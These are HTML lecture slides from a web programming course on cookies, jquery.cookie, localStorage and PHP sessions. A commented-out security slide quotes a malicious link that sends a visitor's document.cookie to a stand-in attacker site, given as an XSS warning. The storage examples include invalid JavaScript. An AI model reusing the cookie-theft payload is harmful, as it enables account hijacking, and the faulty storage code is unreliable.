info343/lectures/cookies-session-data/index.shtml

<!--#include virtual="../s5/commontop.html" -->
      <title>Lecture 19: Cookies &amp; Session Data — INFO 343 Autumn 2012</title>
   </head>

   <body>
      <div class="layout">
         <div id="controls"><!-- DO NOT EDIT --></div>
         <div id="currentSlide"><!-- DO NOT EDIT --></div>
         <div id="header"></div>
         <div id="footer">
            <h1>INFO 343 Lecture 19</h1>
            <h2>Cookies &amp; Session Data</h2>
         </div>
      </div>

      <div class="presentation">
         <div class="slide">
            <h1>Cookies &amp; Session Data</h1>
            <h3>Lecture 19</h3>
            <!-- <h4>
               Reading: 12.1–12.2;<br/>
               <a href="http://css3.bradshawenterprises.com/"><cite>Using CSS3 Transitions, Transforms, and Animation</cite></a> by Rich Bradshaw
            </h4> -->

            <p class="license">
               Except where otherwise noted, the contents of this presentation are Copyright 2010–11 Marty Stepp, Jessica Miller, Morgan Doocy.
            </p>

            <div class="w3c">
               <a href="http://validator.w3.org/check/referer"><img src="../s5/images/w3c-xhtml11.png" alt="Valid XHTML 1.1" /></a>
               <a href="http://jigsaw.w3.org/css-validator/check/referer"><img src="../s5/images/w3c-css.png" alt="Valid CSS!" /></a>
            </div>
         </div>
         
         
         
         <div class="slide">
            <h1>Stateful client/server interaction</h1>

            <div class="rightfigure">
               <img src="images/amazon_cookie.png" alt="amazon cookie" />
            </div>
            
            <p>
               <em>Sites like amazon.com seem to "know who I am."  How do they do this?  How does a client uniquely identify itself to a server, and how does the server provide specific content to each client?</em>
            </p>
            
            <ul class="incremental">
               <li>HTTP is a <span class="term">stateless</span> protocol; it simply allows a browser to request a single document from a web server</li>
               
               <li>HTTP provides no support for longer, stateful transactions, where the client and server know about each other and exchange information</li>
               
               <li>in these slides, we'll learn about pieces of data called <span class="term">cookies</span> used to work around this problem, which are used as the basis of higher-level <span class="term">sessions</span> between clients and servers</li>
            </ul>
         </div>



         <div class="slide">
            <h1>What is a cookie?</h1>

            <div class="rightfigure" style="width: 20%">
               <img src="images/cookie_monster.jpg" style="width: 100%" alt="om nom nom" />            
            </div>

            <ul>
               <li><a href="http://en.wikipedia.org/wiki/HTTP_cookie"><span class="term">cookie</span></a>: a small piece of information stored in the browser that the originating web page can have access to
                  <!-- <ul>
                     <li>the term &quot;cookie&quot; comes from an older networking term, &quot;magic cookie&quot;—a token that doesn’t mean anything to the recipient</li>
                  </ul> -->
               </li>
               <li>cookies have many uses:
                  <ul>
                  <li>authentication</li>
                  <li>user tracking</li>
                  <li>maintaining user preferences, shopping carts, etc.</li>
                  </ul>
               </li>
               <li>each cookie's data consists of a single name/value pair, with optional expiration and context restrictions</li>
               </li>
            </ul>
         </div>



         <!-- <div class="slide">
            <h1>How cookies are sent</h1>

            <div class="rightfigure">
               <img src="images/cookie_exchange.png" alt="cookie exchange" />
            </div>

            <ul>
               <li>when the browser requests a page, the server may send back a cookie(s) with it</li>
               <li>if your server has previously sent any cookies to the browser, the browser will send them back on subsequent requests</li>
            </ul>
            
            <ul style="margin-top: 3em">
               <li>
                  conversely: client-side JavaScript code can set/get cookies, which are sent to server during next request
               </li>
            </ul>
         </div> -->



         <div class="slide">
            <h1>Myths about cookies</h1>

            <ul>
               <li>Myths:
                  <ul>
                     <li>Cookies are like worms/viruses and can erase data from the user's hard disk.</li>
                     <li>Cookies are a form of spyware and can steal your personal information.</li>
                     <li>Cookies generate popups and spam.</li>
                     <li>Cookies are only used for advertising.</li>
                  </ul>
               </li>
               <li>Facts:
                  <ul>
                     <li>Cookies are only data, not program code.</li>
                     <li>Cookies cannot erase or read information from the user's computer.</li>
                     <li>Cookies are usually anonymous (do not contain personal information).</li>
                     <li>Cookies CAN be used to track your viewing habits on a particular site.</li>
                  </ul>
               </li>
            </ul>
         </div>



         <div class="slide">
            <h1>A "tracking cookie"</h1>
            
            <div class="figure">
               <img src="images/tracking-cookie.png" alt="tracking cookie figure" style="max-width: 80%" />
            </div>
            
            <ul>
               <li>
                  an advertising company can put a cookie on your machine when you visit one site, and see it when you visit another site that also uses that advertising company
               </li>
               <li>
                  therefore they can tell that the same person (you) visited both sites
               </li>
               <li>
                  can be thwarted by telling your browser not to accept "third-party cookies"
               </li>
            </ul>
         </div>



         <div class="slide">
            <h1>How long does a cookie exist?</h1>

            <ul>
               <li><span class="term">session cookie</span> : the default type; a temporary cookie that is stored only in the browser's memory
                  <ul>
                     <li>when the browser is closed, temporary cookies will be erased</li>
                     <li>can not be used for tracking long-term information</li>
                     <li>safer, because no programs other than the browser can access them</li>
                  </ul>
               </li>
               <li><span class="term">persistent cookie</span> : one that is stored in a file on the browser's computer
                  <ul>
                     <li>can track long-term information</li>
                     <li>potentially less secure, because users (or programs they run) can open cookie files, see/change the cookie values, etc.</li>
                  </ul>
               </li>
            </ul>
         </div>



         <div class="slide">
            <h1>Where are the cookies on my computer?</h1>

            <div class="rightfigure" style="width: 20%">
               <img src="images/delete_cookies.jpg" style="width: 100%" alt="good enough for me" />
            </div>

            <ul>
               <li>IE: <var>HomeDirectory</var>\Cookies
                  <ul>
                     <li>e.g. C:\Documents and Settings\jsmith\Cookies</li>
                     <li>each is stored as a <code>.txt</code> file similar to the site's domain name</li>
                  </ul>
               </li>
               <li>Firefox: <var>HomeDirectory</var>\.mozilla\firefox\<var>???</var>.default\cookies.txt
                  <ul>
                     <li>view cookies in Firefox preferences: Privacy, Show Cookies...<br />
                     <img src="images/firefox_cookies.png" alt="Firefox cookies" /></li>
                  </ul>
               </li>
            </ul>
         </div>



         <div class="slide">
            <h1>Cookies in JavaScript</h1>

            <pre class="examplecode js">
document.cookie = "username=smith"; <span class="comment">// setting two cookies</span>
document.cookie = "password=12345"; <span class="comment">// magical assignment! doesn't clobber(??!)</span>
document.cookie = "age=29; expires=Thu, 01-Jan-1970 00:00:01 GMT";  <span class="comment">// deleting a cookie</span>
...
</pre>

            <pre class="examplecode js">
<span class="comment">// (later)</span>
var pairs = document.cookie.split(";");    <span class="comment">// ["username=smith", "password=12345"]</span>
for (var i = 0; i &lt; pairs.length; i++) {
   var pair = pairs[i].split("=");    <span class="comment">// ["username", "smith"]</span>
   var name = pair[0];               <span class="comment">// "username"</span>
   var value = pair[1];              <span class="comment">// "smith"</span>
   ...
}
</pre>

            <ul>
               <li>JS has a global <code>document.cookie</code> field (a string)</li>
               <li>
                  you can manually set/get cookie data from this field (sep. by <code>;</code>), and it will be saved in the browser
               </li>
               <li>
                  to delete a cookie, set it to 'expire' in the past
               </li>
            </ul>
         </div>



         <div class="slide">
            <h1>Anatomy of a cookie</h1>
            
            <pre class="syntaxtemplate js">
<var>name</var>=<var>value</var>; domain=<var>domain</var>; path=<var>path</var>; expires=<var>expirationdate</var>; secure; httponly
</pre>
            <ul>
               <li><var>domain</var> and <var>path</var> tell the browser to only send this cookie when making requests to the same domain and path
                  <ul>
                     <li><code>domain=google.com</code> allows requests from <code>www.google.com</code>, <code>docs.google.com</code>, etc. to see the cookie; the reverse is not true</li>
                     <li><code>path=/labs/9</code> means only requests to the folder <code>/labs/9</code> (or any subfolders) will return the cookie</li>
                     <li>both default to the domain and path of the current request ("same-origin policy")</li>
                  </ul>
               </li>
               <li><var>expirationdate</var> sets an expiration date on the cookie
                  <ul>
                     <li>set to anytime in the past to cause the browser to delete the cookie</li>
                  </ul>
               </li>
               <li><var>secure</var> cases the browser to <em>only</em> send the cookie over HTTPS, not over HTTP (“cleartext”)</li>
               <li><var>httponly</var> causes the cookie to not be accessible to JavaScript</li>
            </ul>
         </div>
         
         
         
         <div class="slide">
            <h1>The <a href="https://github.com/carhartl/jquery-cookie"><code>jquery.cookie</code></a> plugin</h1>
            
<pre class="examplecode html">
&lt;script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"&gt;&lt;/script&gt;
<span class="comment">&lt;!-- we've uploaded a copy to our webserver --&gt;</span>
<em>&lt;script src="//info343.ischool.uw.edu/jquery.cookie.js"&gt;&lt;/script&gt;</em>
</pre>

<pre class="syntaxtemplate js">
$.cookie(<var>name</var>); <span class="comment">// reading a cookie</span>
$.cookie(<var>name</var>, <var>value</var>); <span class="comment">// writing a cookie</span>
$.cookie(<var>name</var>, <var>value</var>, { <var>options...</var> }); <span class="comment">// writing a cookie with options</span>
</pre>
<pre class="examplecode js">
$.cookie(&quot;username&quot;, &quot;psmith&quot;);
alert($.cookie(&quot;username&quot;)); <span class="comment">// "psmith"</span>
</pre>


            <ul>
               <!-- <li>Makes things much easier, as usual.</li> -->
               <li>Options:
                  <ul>
                     <li><code>expires</code>: number of days (set negative to delete cookie!)</li>
                     <li><code>domain</code>, <code>path</code>: strings with domain and path to restrict to</li>
                     <li><code>secure</code>: set to <code>true</code> to prohibit transmission over HTTP (“cleartext”)</li>
                  </ul>
               </li>
               <li>Reading a nonexistent cookie returns <code>null</code>.</li>
            </ul>
         </div>



         <div class="slide">
            <h1>Cookie limitations</h1>
            
            <p>Per RFC 2109:</p>
            <blockquote style="font-size: smaller">
               <p>“user agents should provide each of the following minimum capabilities
 individually, although not necessarily simultaneously:</p>
               <ul>
                  <li>at least 300 cookies</li>
                  <li>at least 4096 bytes per cookie</li>
                  <li>at least 20 cookies per unique host or domain name</li>
               </ul>
               <p>[…] Applications [i.e., web pages] should use as few and as small cookies as possible, and
 they should cope gracefully with the loss of a cookie.”</p>
            </blockquote>
            
            <ul>
               <li>limited storage space (minimum guarantees above are very minimal)</li>
               <li>cookies are sent to web server as part of the request; for a client-side-only app, this may be unnecessary/insecure</li>
               <li>what if we just want to remember data in JavaScript between sessions?</li>
            </ul>
         </div>
         

         <div class="slide">
            <h1>Client-only <code>localStorage</code> and <code>sessionStorage</code></h1>
            
            <pre class="examplecode js">
sessionStorage.setItem('username') = 'mogran';
localStorage.setItem('favoritecolor') = 'blue';
localStorage['favoritecolor'] = 'pink';
</pre>
            
            <ul>
               <li><code>sessionStorage</code> for session data (goes away when the page is closed)</li>
               <li><code>localStorage</code> for persistent storage
                  <ul>
                     <li>higher size limit: ~5–10MB per domain (caveat: user-configurable; no minimum guaranteed!)</li>
                     <li>browser doesn’t send to server every request</li>
                     <li>simpler to use (associative array!)</li>
                     <li>no expiration (caveat: user-configurable)</li>
                     <li>drawback: cannot specify domain or path restrictions (or expiration, for that matter)</li>
                  </ul>
               </li>
               <li>Can also use array <code>[]</code> notation</li>
            </ul>
         </div>
         
         
         
         <div class="slide">
            <h1>Common usage: <code>localStorage</code> + JSON</h1>
            
            <pre class="examplecode js">
var preferences = {
   username: 'mogran',
   shoppingcartitems: [
      11414029, 11489492,
      04938820, 04948200
   ],
   defaultcategory: 'computing'
};
localStorage.setItem('prefs', JSON.stringify(preferences));
</pre>
            
            <ul>
               <li>use JSON to serialize JavaScript objects and put them in <code>localStorage</code></li>
               <li>(can do this with cookies too)</li>
               <li>use <code>.removeItem()</code> to remove</li>
            </ul>
         </div>
         
         
         <div class="slide">
            <h1>Example: Checking/updating 2-week cookie</h1>
<div class="example">
<pre class="examplecode js">
$(document).ready(function() {
   var last_visit = <em>$.cookie('last_visit')</em>; <span class="comment">// null if nonexistent</span>
   
   if (last_visit) {
      alert("Welcome back! You last visited: " + new Date(last_visit).toString());
   } else {
      alert("Welcome! This is your first visit.");
   }
   
   <em>$.cookie('last_visit', Date.now(), { expires: 14 });</em>
});
</pre>
</div>
            <ul>
               <li>If cookie was previously set, updates timestamp and expiration</li>
               <li>If cookie was not previously set, a new cookie is created</li>
            </ul>
         </div>
         

         <!--
         <div class="slide">
         <h1>Cookies and security</h1>

         All browsers are following the security rule that your cookies are sent back only to your Web servers. They will not be sent to other Webmaster's Web server directly. However, other Webmaster may design some malicious JavaScript codes to steal cookies created by your PHP pages. For example, if you allow visitors to post messages in your forum, comment area, or guestbooks with hyper links. A bad Webmaster who owns a Web site called www.badwebmaster.com could post a message like this on your Web site with a malicious hyper link:

         <a href="#" onclick="window.location='http://www.badwebmaster.com
            /stole.cgi?text='+escape(document.cookie); return false;">
            Click here to get your free gift!

         If your visitor clicks this hyper link, all of your cookie values will be sent to this bad Webmaster's CGI program as part of the GET URL (not as cookies).

         So check your forum, comment book or guestbook program. And do not allow visitors to post messages with client side scripts.

         </div>
         -->



         <!-- <div class="slide">
            <h1>What is a session?</h1>

            <ul>
               <li><span class="term">session</span>: an abstract concept to represent a series of HTTP requests and responses between a specific Web browser and server
                  <ul>
                     <li>HTTP doesn't support the notion of a session, but PHP does</li>
                  </ul>
               </li>

               <li class="incremental">sessions vs. cookies:
                  <ul>
                     <li>a cookie is data stored on the client</li>
                     <li>a session's data is stored on the server (only 1 session per client)</li>
                  </ul>
               </li>

               <li class="incremental">sessions are often built on top of cookies:
                  <ul>
                     <li>the only data the client stores is a cookie holding a unique <span class="term">session ID</span></li>
                     <li>on each page request, the client sends its session ID cookie, and the server uses this to find and retrieve the client's session data</li>
                  </ul>
               </li>
            </ul>
         </div> -->



         <!-- ***
         shopping cart example
         -->

         <!--
         <div class="slide">
         <h1>Characteristics of sessions</h1>

         <ul>
         <li>Information or state must be stored. For example, a selected bottle of wine in a shopping cart, a customer name, or a credit card number must be maintained across multiple HTTP requests.</li>
         <li>Each HTTP request must carry an identifier that allows the server to process the request in the context of the stored state. For example, when an order is submitted, it must be processed with the correct items and customer details.</li>
         <li>Sessions need to have a timeout . Otherwise, if a user leaves the web site, there is no way the server can tell when the session should end</li>
         </ul>

         </div>
         -->



         <!-- <div class="slide">
            <h1>How sessions are established</h1>

            <div class="rightfigure">
               <img src="images/session.gif" style="width: 100%" alt="session" />
            </div>

            <ul>
               <li>client's browser makes an initial request to the server</li>
               <li>server notes client's IP address/browser, stores some local session data, and sends a session ID back to client</li>
               <li>client sends that same session ID back to server on future requests</li>
               <li>server uses session ID to retrieve the data for the client's session later, like a ticket given at a coat-check room</li>
            </ul>
         </div>



         <div class="slide">
            <h1>Sessions in PHP: <code>session_start</code></h1>

            <pre class="examplecode php">
session_start();
</pre>

            <ul>
               <li><code>session_start</code> signifies your script wants a session with the user
                  <ul>
                     <li>must be called at the top of your script, before any HTML output is produced</li>
                  </ul>
               </li>
               <li>when you call <code>session_start</code>:
                  <ul>
                     <li>if the server hasn't seen this user before, a new session is created</li>
                     <li>otherwise, existing session data is loaded into <code>$_SESSION</code> associative array</li>
                     <li>you can store data in <code>$_SESSION</code> and retrieve it on future pages</li>
                  </ul>
               </li>
               <li><a href="http://us.php.net/manual/en/ref.session.php">complete list of PHP session functions</a></li>
            </ul>
         </div>



         <div class="slide">
            <h1>Accessing session data</h1>

            <pre class="syntaxtemplate php">
$_SESSION[&quot;<var>name</var>&quot;] = <var>value</var>;        <span class="comment"># store session data</span>
$<var>variable</var> = $_SESSION[&quot;<var>name</var>&quot;];     <span class="comment"># read session data</span>
if (isset($_SESSION[&quot;<var>name</var>&quot;])) {  <span class="comment"># check for session data</span>
</pre>

            <pre class="examplecode php">
if (<em>isset($_SESSION[&quot;points&quot;])</em>) {
   $points = <em>$_SESSION[&quot;points&quot;]</em>;
   print(&quot;You've earned $points points.\n&quot;);
} else {
   <em>$_SESSION[&quot;points&quot;]</em> = 0;  <span class="comment"># default</span>
}
</pre>

            <ul>
               <li>the <code>$_SESSION</code> associative array reads/stores all session data</li>
               <li>use <a href="http://us2.php.net/isset"><code>isset</code></a> function to see whether a given value is in the session</li>
            </ul>

            <! - -
            $_SESSION[]
            isset
            unset

            if ($_SESSION && array_key_exists("lastsearch", $_SESSION)) {
            if (isset($_SESSION["lastsearch"])) {

            - - >
         </div> -->



         <!-- <div class="slide">
            <h1>Where is session data stored?</h1>

            <div class="rightfigure">
               <img src="images/firefox_session_cookie.png" alt="session cookie" />
            </div>

            <ul>
               <li>on the client, the session ID is stored as a cookie with the name <code>PHPSESSID</code></li>
               <li>on the server, session data are stored as temporary files such as
                  <code>/tmp/sess_fcc17f071...</code>
               </li>
               <li>you can find out (or change) the folder where session data is saved using the <a href="http://us.php.net/manual/en/function.session-save-path.php"><code>session_save_path</code></a> function</li>
               <li>for very large applications, session data can be stored into a SQL database (or other destination) instead using the <a href="http://www.php.net/manual/en/function.session-set-save-handler.php"><code>session_set_save_handler</code></a> function</li>
            </ul>
         </div> -->



         <!-- <div class="slide">
            <h1>Browsers that don't support cookies</h1>

            <pre class="examplecode php">
session_start();   <span class="comment"># same as usual</span>

<span class="comment"># Generate a URL to link to one of our site's pages
# (you probably won't ever need to do this)</span>
$orderUrl = &quot;/order.php<em>?PHPSESSID=</em>&quot; . <em>session_id()</em>;
</pre>

            <ul>
               <li>if a client's browser doesn't support cookies, it can still send a session ID as a query string parameter named <code>PHPSESSID</code>
                  <ul>
                     <li>this is done automatically; <code>session_start</code> detects whether the browser supports cookies and chooses the right method</li>
                  </ul>
               </li>
               <li>if necessary (such as to build a URL for a link on the page), the server can find out the client's session ID by calling the <a href="http://us.php.net/manual/en/function.session-id.php"><code>session_id</code></a> function</li>
            </ul>
         </div>



         <div class="slide">
            <h1>Session timeout</h1>

            <ul>
               <li>because HTTP is stateless, it is hard for the server to know when a user has finished a session</li>
               <li>ideally, user explicitly logs out, but many users don't</li>
               <li>client deletes session cookies when browser closes</li>
               <li>server automatically cleans up old sessions after a period of time
                  <ul>
                     <li>old session data consumes resources and may present a security risk</li>
                     <li>adjustable in PHP server settings or with <a href="http://us2.php.net/manual/en/function.session-cache-expire.php"><code>session_cache_expire</code></a> function</li>
                     <li>you can explicitly delete a session by calling <a href="http://us.php.net/manual/en/function.session-destroy.php"><code>session_destroy</code></a></li>
                  </ul>
               </li>
            </ul>
         </div> -->



         <!-- <div class="slide">
            <h1>Practice problem: remembering query</h1>

            <ul>
               <li>Modify the <code>movie.php</code> movie search script from previous lectures so that it remembers the current user's last query (if any), and offers the user a chance to search for it again, such as:

                  <ul>
                     <li>Welcome back!  Would you like to repeat your recent search for <a href="movie.php?movie=Fight%20Club">Fight Club</a>?</li>
                  </ul>
               </li>

               <li class="incremental">Pretend that the movie-search program is running on a system that wants to limit repeated usage by particular users.  Add code so that a given user can only conduct one session per day.</li>
            </ul>
         </div> -->
         
         

<!--#include virtual="../s5/commonbottom.html" -->